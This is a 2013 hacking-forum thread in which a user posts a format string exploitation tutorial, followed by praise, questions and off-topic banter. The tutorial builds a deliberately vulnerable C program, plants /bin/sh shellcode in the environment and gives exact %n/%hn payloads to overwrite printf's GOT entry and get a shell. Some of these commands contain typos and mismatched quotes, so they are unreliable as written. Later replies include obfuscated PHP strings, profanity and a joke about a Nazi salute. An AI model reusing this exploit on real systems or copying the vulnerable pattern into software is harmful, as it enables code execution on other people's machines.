

Forum:[Hack Forums](#)

Thread: [Antagonism | Format String Exploitation](#)

-?Divine- - May 25, 2013, 5:58 pm

This tutorial assumes that you are not a total beginner at this. But even if you are, I will do my best to explain and hopefully you will understand all of it. This isn't something you can learn with just one tutorial though, or just with one example. It takes a lot of time and effort, don't forget that. I will also be covering how to actually get a shell since most tutorials that you can find exclude that.

Format string exploitation is advanced, yet less known method of exploit development. Buffer overflows are getting much more attention, and these little folks can be just as dangerous. So, what exactly is a format string? Format string is, as name suggests, a string which also contains special format identifiers which control the representation of data.

%s

%d

%x

%p

%n

These are the most important ones that we will be working with. Now, let me help you grasp this better. Say that we have code like this:

PHP Code

```
<?php
char *variable = "something";
printf("Content of variable is %s\n", variable);
```

The first argument of printf() is the format string, and the second is the variable that we are using. This will return:

PHP Code

```
<?php
Content of variable is something
```

As you can see, %s allows us to read strings.

%d would allow us to read numbers from the stack, and we won't focus on it as much in this tutorial.

%x and %p print hex values and allow us to read from the stack. %p and %x are not much different. It's only their output that differs. %p gives clearer better looking output so we will use it instead of %x in this tutorial. %p is equal to 0x%08x. %x prints hex value without that 0x.

%n allows us to write into memory. This is extremely useful and without it we obviously couldn't get a shell.

Also, I'd like to note that printf is not the only function effected by this vulnerability. We also have:

snprintf

vfprintf

sprintf

vprintf

snprintf

vsprintf

This will make variable a equal to 6. That is the length of word 'Divine'.

Alright, with basics covered, let's get onto the actual vulnerability. First part, is reading from the stack.

Let's make our vulnerable file.

PHP Code

```
<?php
#include <stdio.h>
```

```
int main(int argc, char **argv)
{
    char *hidden = "This string is hidden!\n";
    printf(argv[1]);
}
```

Compile it.

PHP Code

```
<?php
gcc -o vuln vuln.c -mpreferred-stack-boundary=2
```

This very simple program takes user input and prints it out. We have no way of accessing variable 'hidden'. Or do we? What would happen if we used %s as our input? Nothing is stopping us from doing so, let's try it.

PHP Code

```
<?php
./vuln %s
```

And our output will be:

PHP Code

```
<?php
```

```
This string is hidden!
```

Alright, we've managed to read it. What if we had two strings and we wanted to read them? We would use %s%s.

PHP Code

```
<?php
```

```
#include <stdio.h>
```

```
int main(int argc, char **argv)
```

```
{
```

```
char *hidden = "This string is hidden!\n";
```

```
char *hidden2 = "This is also hidden!\n";
```

```
printf(argv[1]);
```

```
}
```

Our input would be:

PHP Code

```
<?php
```

```
./vuln %s%s
```

Output:

PHP Code

```
<?php
```

```
This string is hidden!
```

```
This is also hidden!
```

Very nice. Also, %X\$s, where X is a number, reads Xth argument from the stack. Therefore, %3\$s would read third argument as a string.

Now let me explain how %n works before we move on to actual overwriting and getting shellcode.

PHP Code

```
<?php
```

```
int var;
```

```
printf("Divine%n\n",&var);
```

```
printf("Value of var is %d\n",var);
```

'Divine' has six letters. It's length is five. So variable var will get assigned with value 6.

Alright, now on with the actual exploitation. We will be changing the source a little bit and adding some parts that are unnecessary for better understanding and seeing what's going on.

PHP Code

```
<?php
```

```
#include <stdio.h>
```

```
#include <string.h>
```

```
int main(int argc, char **argv)
```

```
{
```

```
char buf[300];
```

```
static int var=0;
strncpy(buf, argv[1], sizeof buf);
printf(buf);
printf("\nVar is located at %p with val=%p\n", &var, var);
}
```

As you can see, we are creating variable 'var'. Right now, it's empty. It's here only for debugging purposes. We are using strncpy() to copy content of user input into our buffer. This is a good way to parse input without having a buffer overflow vulnerability. Strncpy syntax is strncpy(destination, source, sizeof of destination). Then, we are printing out the location (%p, &var) and content (%p, var) of variable var. Why? Because we will be using format string vulnerability to override the content of 'var'. I know it sounds hard, but don't give up.

Let's do that right away.

First, we need to find the offset. "AAAA" takes exactly four bytes, which is enough to fill a full address. So, if we supply AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p as argv, it will return many things from the stack. We must see how deep in \$esp our buffer lies. As we can see, at 8 '%p' it returns 0x41414141, which is hex representation of AAAA. Therefore, our offset is 8. Note it down, it's very important.

We want to override the content of 'var', and it's address is 0x804a024. That is our destination. Remember it.

Now, let's store our shellcode in environment. Make a new c file:

PHP Code

```
<?php
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

char shellz[]=
"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

main(int argc, char *argv[]) {
setenv("shell", shellz,1);
system("bash");
}
```

Compile it.

PHP Code

```
<?php
gcc -o shell shell.c
```

This is a simple execve(), 25 bytes long shell. You can use yours if you want instead. We put it in the environment with setenv().

Now we need to find it's address using getenv().

PHP Code

```
<?php
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p\n", getenv("shell"));
}
```

Compile it as well.

PHP Code

```
<?php
gcc -o get get.c
```

Now run.

PHP Code

```
<?php
./shell
./get
```

Our shell address is at 0xbffffe27. Our destination is 0x804a024. Now, how in the world are we going to write an address to an address using %n? At first glance it seems impossible. But it isn't. I want you to listen carefully now, as this will get a bit tricky.

We will write two bytes at a time. Address consists of 4 bytes which is 2+2. By using \$hn we can write two bytes and by using it again, the remaining two. But by using first two bytes the destination address will change, so the remaining to have to be put in a different address. It will be previous address+2(0x804a024+2=0x804a026).

But first, let's write anything into the address of our choice. Let's make that anything, four bytes. Four bytes is exactly how an address is long, so nothing else will be required! Make sure you use little endian order. That means that we are reversing the address.

PHP Code

```
<?php
./vuln `python -c 'print "\x24\xa0\x04\x08"'`%8\$n
```

8 is the offset that we've found before. As you can see, value of 'var' is now 0x4 which is four. That's how long the address itself was. Here comes the tricky part.

Destination 1 : 0x804a024

Destination 2: 0x804a026

Content:(shell) 0xbffffe27

To sum it all up, we are writing fe27 to destination 1, and bfff to destination 2.

Now, keep in mind that we are writing two bytes at a time. Which means that we will take first two bytes, fe27 and convert them to decimal. You can use any hex to decimal converter that you want. Fe27 = 65063. That's what we're going to store. But remember how when we overridden the destination address at first. Var was equal to 0x4. That's because it takes the length of that address into consideration too. So two destination addresses will be equal to 8 bytes.

So we've already stored two destination addresses which is eight bytes! Meaning that we have to subtract 8 from 65063, so we get 65055. This is amount of bytes that we have to store in order to get fe27. Let's try it!

PHP Code

```
<?php
./vuln `python -c 'print "\x24\xa0\x04\x08"+"x26\xa0\x04\x08"'"`%65055x%8$hn
```

As you can see, we've successfully overridden the first two bytes. Now come the second two, bfff. bfff is equal to 49151, which is less than what we've already written. lol. So what do we do? We use 1bfff instead. It is equal to 114687.

114687 minus 65063(which we have already written) is equal to 49624. That's what we're writing. But keep in mind that offset was 8, but now it had changed from 8 to 9. Run:

PHP Code

```
<?php
./vuln `python -c 'print "\x24\xa0\x04\x08"+"x26\xa0\x04\x08"'"`%65055x%8$hn%49624x%9$hn
```

Awesome. We've successfully overridden our destination address with address of shellcode in environment. But what now? Most tutorials will tell you to override DTOR_END with your shellcode address and you could do that. To get DTOR_END address, you can do:

PHP Code

```
<?php
nm vuln
```

DTOR_END didn't give me best results as it was read only, whilst printf() was both readable and writeable.

But for the sake of being different, we'll use GOT entry of printf() instead. Let's get it. Keep in mind that the function must be called after the vulnerable function.

PHP Code

```
<?php
readelf -r vuln
```

It's 0804a00c. That is our new destination.

Destination 1: 0x804a00c

Destination 2: 0x804a00e (0804a00c+2=0804a00e)

Content(shell) 0xbffffe27

We've already managed to write that address to 'val', so just by changing destination, we will manage to pull this off as well.

PHP Code

```
<?php
```

```
./vuln `python -c 'print "\x0c\xa0\x04\x08"+" \x0e\xa0\x04\x08""`%65055x%8$hn%49624x%9$hn
```

Good. Let's try with different shellcode.

Vinnie - May 25, 2013, 6:10 pm

Keep this up and you'll eventually get closer to getting the WH or BH award ?

Sadly I'm not sure if many people would even understand any of this :/

Keeper - May 25, 2013, 6:11 pm

PHP Code

```
<?php
```

```
echo ('^`').("+^_")." ".("(^_").("@^")").(",^@").(",^@")." ".("(^_").("/^@").("+^_")." ".(]'^:').(":"^_").("+^_")." ".('=^_').('*^_').('^-^_').("@^")").(":^_").("$^@")." ".(')^`')." ".((,'^~')^""').('^-^_').("/^@").('^-^_').("@^")").(',^_').(":^_");
```

-?Divine- - May 25, 2013, 6:13 pm

(May 25, 2013 06:10 PM)Vincenzo Wrote: [\[CITE\]](#) Keep this up and you'll eventually get closer to getting the WH or BH award ?

Sadly I'm not sure if many people would even understand any of this :/

It's funny because I can actually name the people who I guarantee will understand it. lol

N3xus, K4fr, Razor4x 5_0, Downloading... and that's probably it.

(May 25, 2013 06:11 PM)Keeper Wrote: [\[CITE\]](#) PHP Code

```
<?php
```

```
echo ('^`').("+^_")." ".("(^_").("@^")").(",^@").(",^@")." ".("(^_").("/^@").("+^_")." ".(]'^:').(":"^_").("+^_")." ".('=^_').('*^_').('^-^_').("@^")").(":^_").("$^@")." ".(')^`')." ".((,'^~')^""').('^-^_').("/^@").('^-^_').("@^")").(',^_').(":^_");
```

PHP Code

```
<?php
```

```
echo (]'^:').(">^_").("&^_").(",^@").("/^@").('^-^_').("$^@")." ".('<^_').("/^@").('<^_').('+^@').('^-^_').(">^_").(',^_').("+^_").(":^_").('^-^_')." ".(",^@").("/^@").(')^`').(":^_")
```

muzzy. - May 25, 2013, 6:24 pm

Your tutorials are unmatched, they're probably the highest of quality on this forum. Thanks; it's appreciated ?

h?cker22 - May 25, 2013, 6:49 pm

Amazing work Divine. I won't let this thread die, the effort and time shows.

(May 25, 2013 06:10 PM)Vincenzo Wrote: [\[CITE\]](#) Keep this up and you'll eventually get closer to getting the WH or BH award ?

I have no doubt about that. It's coming Divine. ?

Pendragon - May 25, 2013, 7:59 pm

(May 25, 2013 06:13 PM)-?Divine- Wrote: [\[CITE\]](#) It's funny because I can actually name the people who I guarantee will understand it. lol

N3xus, K4fr, Razor4x 5_0.

You missed someone, dookiehead.

Spoiler ([Click to View](#))

Vehla

kalandershihabrock - May 25, 2013, 11:29 pm

you're the most HQ member here at HF. you deserve the bronze tutorial award.

Downloading... - May 26, 2013, 2:54 am

Great work Divine!

As I see it, this was the most useful tut (for me?) on HF...

Greetings,

Your gay homie.

-?Divine- - May 26, 2013, 2:58 am

(May 26, 2013 02:54 AM)Downloading... Wrote: [\[CITE\]](#) Great work Divine!

As I see it, this was the most useful tut (for me?) on HF...

Greetings,

Your gay homie.

Here's some gay love to you too Down <3

Jordy - May 26, 2013, 3:03 am

Great work Divine, Very good tutorial!

?Dante - May 26, 2013, 3:49 am

I'm really tired of finding something new to comment on your tutorials as all are HQ as fuck. ?

'Snorlax - May 26, 2013, 4:17 am

Long and detailed thread. Very nice layout, and well written!

You might want to remove that color tag inside the PHP tag, as they don't work ;)

-?Divine- - May 26, 2013, 4:21 am

(May 26, 2013 04:17 AM)Snorlax Wrote: [\[CITE\]](#) Long and detailed thread. Very nice layout, and well written!

You might want to remove that color tag inside the PHP tag, as they don't work ;)
I didn't close the tag that was above it. Thanks for the notice.

'Snorlax - May 26, 2013, 4:23 am

(May 26, 2013 04:21 AM)-?Divine- Wrote: [\[CITE\]](#) I didn't close the tag that was above it. Thanks for the notice.

No problem. Another great tutorial from Antagonism! Very nice :)

Suved - May 26, 2013, 7:28 am

I know I will not understand it.
but thanks anyway.
It'll be helpful in future.

?Fear - May 26, 2013, 7:54 am

Another great antagonism tutorial, I remember when you were just starting these tutorials. Nice to see you haven't stopped.

?A.J? - May 26, 2013, 10:47 am

You know how to make my happy!
Great tutorial man!

-?Divine- - May 27, 2013, 1:38 pm

(May 26, 2013 07:54 AM)?Fear Wrote: [\[CITE\]](#) Another great antagonism tutorial, I remember when you were just starting these tutorials. Nice to see you haven't stopped.

I've only made my new two tuts because of special occasion that will be announced very soon.

Antagonism - May 27, 2013, 1:40 pm

Good job on all those awesome tutorials sir ;)

-?Divine- - May 27, 2013, 1:42 pm

(May 27, 2013 01:40 PM)Antagonism Wrote: [\[CITE\]](#) Good job on all those awesome tutorials sir ;) Wait.. you are Antagonism.. this is very weird lol.

Antagonism - May 27, 2013, 1:43 pm

(May 27, 2013 01:42 PM)-?Divine- Wrote: [\[CITE\]](#) Wait.. you are Antagonism.. this is very weird lol. Really ?

It's funny to have all those tutorials of a group having my name ^^

Cody8295 - May 27, 2013, 1:51 pm

Wow, that's a pretty amazing tutorial, good work.

SIM-1073426 - May 27, 2013, 5:35 pm

Really nice tutorial, how long did it take you to learn all this?

-?Divine- - May 28, 2013, 12:55 pm

(May 27, 2013 05:35 PM)Sons of Anarchy Wrote: [\[CITE\]](#) Really nice tutorial, how long did it take you to learn all this?

This is simple and shouldn't take more than a day to learn.

SHADOW REALM - May 30, 2013, 6:25 am

(May 25, 2013 07:59 PM)Pendragon Wrote: [\[CITE\]](#) You missed someone, dookiehead.

Spoiler ([Click to View](#))

Vehla

Truestory There Lol

Gratz On The 2 Years

Mr. Corleone - May 30, 2013, 7:08 am

A very nice tutorial, as soon as I get on my computer I will do this.

Thank you very much for your contribution to hf, because I think almost everything is too easy on hf, except ur tuts which are adventurous for me :)

Kluge7 - June 1, 2013, 4:57 am

thanks Divine.

i'm a newcomer, when reading this tutorial, i puzzled about the trick:

```
./vuln `python -c 'print "\x24\xa0\x04\x08"+" \x26\xa0\x04\x08"'`%65055x%8$hn%49624x%9$hn
```

when printf "AAAA...", the stack offset is 8. acctually it is the offset of the variable buf. am i right?
but why we should use the offset 8?

i search the printf, and couldn't find the introduce about the '\$' .

what is meaning about this symbol? and what's the relationship between '\$' and the "\x24\xa0\x04\x08" when using "\n" as the format?

i know when there are no additional arguments following formats, the printf will write the length to the stack, but the static var is not at the stack.why write the code as above, the value of var could be change?

sorry, maybe too many question.

but i'm really looking forward to your reply, thanks!

Light Yagami. - June 1, 2013, 5:17 am

nice tut yo pointer variable is what it is.

-?Divine- - June 1, 2013, 5:25 am

(Jun 1, 2013 04:57 AM)Kluge7 Wrote: [\[CITE\]](#) thanks Divine.

i'm a newcomer, when reading this tutorial, i puzzled about the trick:

```
./vuln `python -c 'print "\x24\xa0\x04\x08"+" \x26\xa0\x04\x08"'`%65055x%8$hn%49624x%9$hn
```

when printf "AAAA...", the stack offset is 8. acctually it is the offset of the variable buf. am i right?
but why we should use the offset 8?

i search the printf, and couldn't find the introduce about the '\$' .

what is meaning about this symbol? and what's the relationship between '\$' and the "\x24\xa0\x04\x08" when using "\n" as the format?

i know when there are no additional arguments following formats, the printf will write the length to the stack, but the static var is not at the stack.why write the code as above, the value of var could be change?

sorry, maybe too many question.

but i'm really looking forward to your reply, thanks!
Quote:We must see how deep in \$esp our buffer lies.
Eight is the offset to reach our buffer.

Quote:Very nice. Also, %X\$s, where X is a number, reads Xth argument from the stack. Therefore, %3\$s would read third argument as a string.

Same concept. %8\$hn

Also, we are not using \n. That would mean new line. We're using %n.

Kluge7 - June 1, 2013, 6:56 am

(Jun 1, 2013 05:25 AM)-?Divine- Wrote: [\[CITE\]](#) Eight is the offset to reach our buffer.

Same concept. %8\$hn

Also, we are not using \n. That would mean new line. We're using %n.oh, thank you! i should read the tutorial more carefully!
recommend a very nice paper <<Advances in format string exploiting>>.

anyway, thanks a lot!

Keeper - June 7, 2013, 5:20 am

Received less attention than it actually deserves. That's what I have to say.

-?Divine- - June 7, 2013, 2:45 pm

(Jun 1, 2013 06:56 AM)Kluge7 Wrote: [\[CITE\]](#) oh, thank you! i should read the tutorial more carefully!
recommend a very nice paper <<Advances in format string exploiting>>.

anyway, thanks a lot!
I am glad I could help. Post if you have any further questions.

-?Divine- - June 17, 2013, 10:06 am

(Jun 7, 2013 05:20 AM)Keeper Wrote: [\[CITE\]](#) Received less attention than it actually deserves.
That's what I have to say.
Thanks Keeper. Glad you liked the tutorial.

Keeper - June 17, 2013, 11:03 am

(Jun 7, 2013 05:20 AM)Keeper Wrote: [\[CITE\]](#) Received less attention than it actually deserves.
That's what I have to say.
That's my favorite spam message for bum.ping. But it does in fact do the job. But unlike most senseless comments I drop, I do appreciate your low-level tutorials cuz they'll be the basis of my future learning and work.

-?Divine- - October 5, 2013, 6:52 am

(Jun 17, 2013 11:03 AM)Keeper Wrote: [\[CITE\]](#) That's my favorite spam message for bum.ping. But it does in fact do the job. But unlike most senseless comments I drop, I do appreciate your low-level tutorials cuz they'll be the basis of my future learning and work.
I'm writing something at the moment, will release it soon. But I doubt many people here look disshiet up.

SoLong - October 5, 2013, 6:54 am

Miami, put your hands up for free drugz

-?Divine- - October 5, 2013, 7:03 am

(Oct 5, 2013 06:54 AM)SoLong Wrote: [\[CITE\]](#) Miami, put your hands up for free drugz
Lol puli why did you change your name :[

SoLong - October 5, 2013, 7:04 am

(Oct 5, 2013 07:03 AM)-?Divine- Wrote: [\[CITE\]](#) Lol puli why did you change your name :[
man idk this shit is getting boring i m tired

-?Divine- - October 5, 2013, 7:08 am

(Oct 5, 2013 07:04 AM)SoLong Wrote: [\[CITE\]](#) man idk this shit is getting boring i m tired
Lol ik that feeling though. It's not even fun to troll anymore. There are a few people talking about
comebacks just to cause some drama.

SoLong - October 5, 2013, 7:16 am

(Oct 5, 2013 07:08 AM)-?Divine- Wrote: [\[CITE\]](#) Lol ik that feeling though. It's not even fun to troll
anymore. There are a few people talking about comebacks just to cause some drama.
well i guess we should just raise our right hand and yell sieg h.eil

-?Divine- - October 5, 2013, 3:07 pm

(Oct 5, 2013 07:16 AM)SoLong Wrote: [\[CITE\]](#) well i guess we should just raise our right hand and
yell sieg h.eil
Or we jump around and sing the [epic](#).
No, but seriously, this is pathetic. I mean what the fuck? WFH is not even hostile anymore ;(

SoCash - October 5, 2013, 4:09 pm

Whf has gone to shit divine. Welcome back by the way. You still running antigifags?

-?Divine- - October 5, 2013, 5:28 pm

(Oct 5, 2013 04:09 PM)SoCash Wrote: [\[CITE\]](#) Whf has gone to shit divine. Welcome back by the
way. You still running antigifags?
Wasn't it always shit? Now it's just shittier than it was before. Nah, we broke up.

0x45 - March 23, 2014, 12:39 pm

Hey,

Can you explain what \$hn is doing there??

Also why is not the buf in top of stack?? If it is, why is %p not printing 0x41414141 first?